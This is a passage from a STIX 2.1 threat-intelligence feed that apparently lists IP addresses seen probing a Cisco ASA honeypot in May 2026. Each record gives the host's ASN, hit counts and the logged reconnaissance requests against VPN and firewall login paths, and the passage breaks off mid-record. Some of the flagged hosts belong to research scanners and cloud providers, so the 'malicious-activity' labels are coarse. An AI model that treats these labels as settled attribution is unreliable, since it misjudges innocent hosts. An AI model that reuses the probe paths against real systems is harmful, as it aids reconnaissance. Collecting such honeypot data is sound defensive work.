      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b6b2f744-2916-440e-9503-d04f9d490a83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:20:10.000Z",
      "valid_until": "2026-06-15T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-14T11:10:32.507Z",
          "last_seen": "2026-05-26T12:11:01.097Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /?_HELP_ME_ESCAPE_FROM_BELARUS_PLEASE_ HTTP/1.1\" 404 - geo: CA; ASN 6327 (Shaw Communications)",
      "id": "indicator--feeb3309-a29f-42dc-8f70-1df4d9aeb5db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.146.199.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:20:10.000Z",
      "valid_until": "2026-06-15T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-14T11:11:47.037Z",
          "last_seen": "2026-05-14T11:11:49.166Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 6327,
          "as_org": "Shaw Communications",
          "event_types": [
            "\"GET /?_HELP_ME_ESCAPE_FROM_BELARUS_PLEASE_ HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--87e398b1-8a88-4f13-98c9-70ec331918cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:20:10.000Z",
      "valid_until": "2026-06-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-14T11:35:08.903Z",
          "last_seen": "2026-05-27T20:40:52.321Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--3b198b94-d030-4296-95b5-0316cffbeb2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:20:10.000Z",
      "valid_until": "2026-06-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T11:33:09.388Z",
          "last_seen": "2026-05-14T11:33:09.388Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--c970d956-ec66-4884-8a97-e9dbdbb05963",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:20:10.000Z",
      "valid_until": "2026-06-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T11:24:23.847Z",
          "last_seen": "2026-05-14T11:24:23.847Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--4711ed30-f829-4f0a-a240-af373b921835",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T12:20:10.000Z",
      "valid_until": "2026-06-15T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T11:52:44.350Z",
          "last_seen": "2026-05-14T11:52:44.350Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2933be82-1893-4d9b-906e-4344e365d93b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.26.29.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:20:11.000Z",
      "valid_until": "2026-06-16T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-15T01:05:21.573Z",
          "last_seen": "2026-05-15T01:05:21.573Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e4f842f1-7837-473e-8d2a-70ea247eb9fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.222.179.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:20:11.000Z",
      "valid_until": "2026-06-16T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-15T01:05:24.024Z",
          "last_seen": "2026-05-15T01:05:27.027Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9edb0a9b-f815-4597-ad4c-f152ee75f091",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:20:11.000Z",
      "valid_until": "2026-06-16T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-15T01:15:53.705Z",
          "last_seen": "2026-05-15T01:16:01.714Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--6a94f09a-2a7f-4ab9-a4da-092d72d59a5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.242.0.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:20:11.000Z",
      "valid_until": "2026-06-16T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-15T00:57:08.601Z",
          "last_seen": "2026-05-15T00:57:08.601Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cgi-bin/authLogin.cgi HTTP/1.1\" 404 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--b79acbc7-568b-4207-add5-9c1da72277b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T03:20:10.000Z",
      "valid_until": "2026-06-16T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-15T02:42:51.497Z",
          "last_seen": "2026-05-15T02:42:54.501Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET /cgi-bin/authLogin.cgi HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--87ca6ef3-59d1-4432-bb8d-4065e5a8935e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:20:10.000Z",
      "valid_until": "2026-06-16T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-15T03:48:11.267Z",
          "last_seen": "2026-05-15T03:49:06.009Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--b8537f52-1013-4bc6-8ce8-55ad477867d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.98.136.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:20:11.000Z",
      "valid_until": "2026-06-16T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-15T05:05:12.045Z",
          "last_seen": "2026-05-15T05:05:15.048Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--a1374387-5a55-4a17-8674-0bd0ae99427e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.224.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:20:10.000Z",
      "valid_until": "2026-06-16T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-15T05:58:10.155Z",
          "last_seen": "2026-05-15T05:58:13.157Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c36b36b1-c614-4c7c-a0f1-bfff1b6134e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:20:10.000Z",
      "valid_until": "2026-06-16T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-15T06:51:56.257Z",
          "last_seen": "2026-05-15T06:51:56.257Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8f337b79-69b0-46c0-b7ce-ebd31734e123",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:20:10.000Z",
      "valid_until": "2026-06-16T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-15T06:52:06.113Z",
          "last_seen": "2026-05-15T06:52:06.113Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4e512a48-8b54-4ec0-913b-79fcd6c954c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:20:10.000Z",
      "valid_until": "2026-06-16T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-15T06:51:54.687Z",
          "last_seen": "2026-05-15T06:51:54.687Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--79fed81a-5e18-47eb-bc38-e5605fc56b90",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:20:10.000Z",
      "valid_until": "2026-06-16T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-15T06:50:14.281Z",
          "last_seen": "2026-05-15T06:50:14.281Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2d804448-25af-4750-b9a4-0abc3c6bdff5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:20:10.000Z",
      "valid_until": "2026-06-16T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-15T06:50:51.249Z",
          "last_seen": "2026-05-15T06:51:54.030Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-15T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--38079a31-1976-41da-8b19-0a85d823b168",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:20:10.000Z",
      "valid_until": "2026-06-16T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-15T06:48:20.648Z",
          "last_seen": "2026-05-15T06:53:34.955Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d0a54817-34c2-4035-a2ca-2fef30794501",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.27.192.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:20:10.000Z",
      "valid_until": "2026-06-17T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-16T00:59:58.364Z",
          "last_seen": "2026-05-16T00:59:58.364Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-16T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--cf78ff11-81f8-458c-a9bf-d349cb4f735a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.31.213.204']",
